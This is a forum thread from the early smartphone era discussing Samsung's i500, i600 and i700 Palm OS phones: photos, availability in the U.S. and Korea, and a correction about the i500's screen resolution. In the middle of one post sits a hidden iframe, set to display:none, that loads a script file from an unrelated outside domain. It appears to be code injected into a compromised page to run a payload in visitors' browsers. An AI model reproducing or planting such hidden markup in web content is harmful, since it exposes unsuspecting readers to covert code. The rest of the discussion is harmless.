It's been shown on this forum as well as some other

sites before, but here's a link to one page that has

great pictures of i500, i600, and i700.

Enjoy...

Personally, I would like an i500 but with GSM/GPRS

running Palm OS 5, with an SD slot, a rotating camera

in the hinge...<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Any indications of availability? I bet they're already selling those in Japan...they're always a few steps ahead when it comes to consumer electronics. That I700 looks really cool, i wish I had one.

It's a Korean company. And no, there was no indication of the availability. It actually said the three new smartphones (I500, I600, and I700) are made for the U.S. market and the writer was hoping that Samsung will eventually bring them into the Korean market (just as I300 vs. M330).

i500, also called Bluechip, DOES NOT have 320x320 display.

It is your basic 160x160 LCD with a couple of more pixels

for border, and a 15 or so pixel high indicator bar on top

for phone related icons, similar to i330.

For size comparison, the LCD of the i500 is almost the same

width as the i330/i300 LCD. So you can imagine what the

size is, and squeeze 320x320 in that space? Not yet...

I understand, rave. This was totally new to me. But I was just translating what was written on that page in Korean.

It would be extremely nice if it were true, but if it's the mistake of the writer, I guess I won't get heart broken.

EDIT: Okay, from Samsung's site, it is confirmed that the resolution is indeed 162x176 (160x160 with the top line and some border).
